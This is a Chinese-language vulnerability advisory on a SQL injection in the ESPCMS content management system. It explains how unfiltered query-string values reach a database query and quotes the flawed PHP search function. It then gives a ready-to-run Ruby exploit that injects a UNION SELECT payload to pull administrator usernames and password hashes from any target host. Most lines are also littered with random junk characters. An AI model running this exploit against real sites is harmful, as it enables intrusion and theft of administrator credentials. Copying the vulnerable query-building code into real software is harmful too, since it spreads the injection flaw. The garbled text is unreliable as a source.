0×0 漏洞概述0×1 漏洞细节
4 R) ], Y/ m: J8 m0×2 PoC- C, y d* R/ j# _: X. N0 v
- X$ s; y* W' V% I, \9 k) }( b
4 _ H t: g- u
5 V' {9 }) j5 Y6 A1 |
0×0 漏洞概述
# Q9 A/ q1 T! x) R5 R$ f2 ?
! P+ U) y7 Q+ D8 i# `6 P易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
1 C, t ] Y9 u! l" l& Z其在处理传入的参数时考虑不严谨导致SQL注入发生9 s9 k2 V' H" f( m$ z
3 Z4 n! D c; Y0 I1 t# t/ M! K, T& `/ ?2 O1 _ @
0×1 漏洞细节
$ f" V; ]; p0 ~: H- l& S+ n; S0 \5 e
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
1 E6 z2 E: N1 N. e$ ]正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。* y3 D) F5 W, ^1 L, n; Z
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。8 G/ C. J: ^# e! a" o8 t/ Q
7 N+ M' s8 R! J( p6 Q
在/interface/3gwap_search.php文件的in_result函数中:; Y! L+ D9 r3 A, ~: W5 ?$ h
3 J+ m7 E3 ]7 f i
( p( y+ p' O2 ^
! p! _6 P) L! k7 g+ i7 R7 t function in_result() {6 ?& _: T8 W* l5 b4 \
... ... ... ... ... ... ... ... ...2 t+ h S* R1 y4 P
$urlcode = $_SERVER[ 'QUERY_STRING ']; V2 t2 R+ f2 s6 R n6 s
parse_str(html_entity_decode($urlcode), $output);
% i3 f F% Y) J) c8 E8 C. O( v: p! U# A' O
... ... ... ... ... ... ... ... ...
0 }5 K0 P5 C8 N0 T; B5 i6 @) Y if (is_array($output['attr' ]) && count($output['attr']) > 0) {; x' Y/ L& }2 S% n. [. l
; q9 X7 F' \1 A2 ?, n5 o# B
$db_table = db_prefix . 'model_att';$ Q$ @7 `0 ], I& c, x$ ^
0 m7 n O$ f+ E( f; E foreach ($output['attr' ] as $key => $value) {
3 k, [+ \- Y& X9 W# y; a if ($value) {
9 C+ @$ m, w1 z4 D! X. n6 |+ N3 a9 s7 R
$key = addslashes($key);
% P9 T4 I3 [0 Q B& P3 c $key = $this-> fun->inputcodetrim($key);$ u, r& C- ^# w+ I8 F
$db_att_where = " WHERE isclass=1 AND attrname='$key'";
( H# }0 P: R! |0 H $countnum = $this->db_numrows($db_table, $db_att_where);
/ x( K8 n* I! c if ($countnum > 0) {
5 z" `5 N: f# D: |& @ $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
+ A. y" g& k5 b {4 e }
: v' K, G" x" Y }" O1 y" y1 x- Q0 y3 s+ H7 U% [/ O
}; n2 b8 [ g; z+ U7 |7 A
}
# I. a& U `' t8 U4 z; _4 } if (!empty ($keyword) && empty($keyname)) {" x% l0 |, | n% G8 n* r
$keyname = 'title';8 k, @3 U9 x$ r% d/ M
$db_where.= " AND a.title like '%$keyword%'" ;
0 G+ q' d, ?. r5 e2 X( h } elseif (!empty ($keyword) && !empty($keyname)) {
. n* N- H. ]7 d0 P, u $db_where.= " AND $keyname like '% $keyword%'";
2 s) J9 E6 z# \ }1 k! c, @" b! W8 @( h5 ~: ^' b$ c
$pagemax = 15;
; U3 t7 M6 z- u8 L
N. d& i3 I5 _; h; u; b $pagesylte = 1;9 x6 g, j$ I4 G0 A
" i8 y/ t. d1 Q" V0 b6 l if ($countnum > 0) {
, a. W- d4 ^7 O) M. F2 U
' K* e9 z5 v" M3 N1 y* W $numpage = ceil($countnum / $pagemax);
6 r# O9 J8 f3 O7 t; N } else {
" o( I* ^- K' i3 T3 D $numpage = 1;8 i" r6 g7 r4 P2 U
}
! n: C6 p" B4 m0 C, N $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
/ }& Z/ v0 E3 H8 r) s $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
5 `/ [1 x; T0 ?& o$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);/ ^6 e6 g% F7 p
... ... ... ... ... ... ... ... ...
' \+ H3 R2 q& Y' ^4 N- C& |6 y& W% Q }
; f2 b& T! z, \! H' \( o! A; J6 U' B/ V5 C7 q8 L! O- F
* m o8 u& O1 c2 y1 k5 P0×2 PoC
6 G4 G9 `; H3 f# m' o' f8 L7 O% D O8 ^; @* R/ [6 T
' m5 I+ I3 o9 O, f+ K9 v$ e7 ^
* D: c' t7 c3 h, c8 prequire "net/http"
2 D6 ?$ E V2 g: V
/ a" \; J; R9 _def request(method, url). M j7 T* R8 J( p5 Q, L
if method.eql?("get")
' F1 q1 J: b9 c+ |6 J* M* u uri = URI.parse(url)# F# U5 h$ M6 C+ P4 @3 e+ F+ `
http = Net::HTTP.new(uri.host, uri.port)) @# ~/ ~" \/ p9 H/ R
response = http.request(Net::HTTP::Get.new(uri.request_uri))
+ r) P7 I! v/ s& S: r$ |0 w1 \- O return response3 f7 t( w: J0 d7 W! @( f
end# n4 `# J6 @6 M/ T/ M
end
0 r. D, j6 x/ G: Q7 }9 A
* I1 f6 i3 q6 p0 j" h0 s$ B* udoc =<<HERE1 w: x$ A; k7 e4 I; ^. `4 Q
-------------------------------------------------------
# i& C$ w. [$ _6 Q3 CEspcms Injection Exploit& C. J9 `7 r% \4 o* l
Author:ztz( \+ d$ z1 T, I' \+ P& F/ i
Blog:http://ztz.fuzzexp.org/- O& u0 r2 E) A7 {. J. J
-------------------------------------------------------
$ ^, n1 r( J4 l- j+ {
: [/ G6 @# A' M( c# o: w- `# G- r( b, QHERE
/ O" x# Q; k2 r- V) \
9 M# q: x" x( G* cusage =<<HERE i6 |: Q7 A9 i, H4 O' ]
Usage: ruby #{$0} host port path% R0 A0 z! N# r
example: ruby #{$0} www.target.com 80 /
$ y9 n( }& N: d# sHERE
2 W6 C( ~- W w6 [5 j
3 M7 G! ?2 {) m2 `( ?$ sputs doc
$ o \5 i/ A2 o9 e& V5 `; _if ARGV.length < 3
0 S* {& V, H/ o0 U puts usage2 p+ ^2 D. F$ l9 ]: M X
else
9 @( {7 R. b( L a7 w $host = ARGV[0]
7 C, Z7 f' a6 G. D9 u# p3 e $port = ARGV[1]
5 e- C. s/ S6 ^% |4 H $path = ARGV[2]
" F! q) \+ R4 Z* Y
4 v+ B& D; Y2 P puts "send request..."
2 } Y6 x/ N: s% ?# C url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
& `* n# j0 D! V! Q2 P" M! ?1 p8 Vattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
. B2 A9 {6 N: k,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
3 X' F4 w- S! \,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
* @* _/ t c* `( b6 E response = request("get", url)& f4 z* t6 ~/ B6 O
result = response.body.scan(/\w+&\w{32}/)
1 o3 u! F1 l# v$ [" k- Q- v puts result
; M0 [9 z2 W( [4 @2 Hend
% Y0 \0 i! U. u2 l
1 z- X0 v, P2 V0 P2 a7 {, r) l' ? |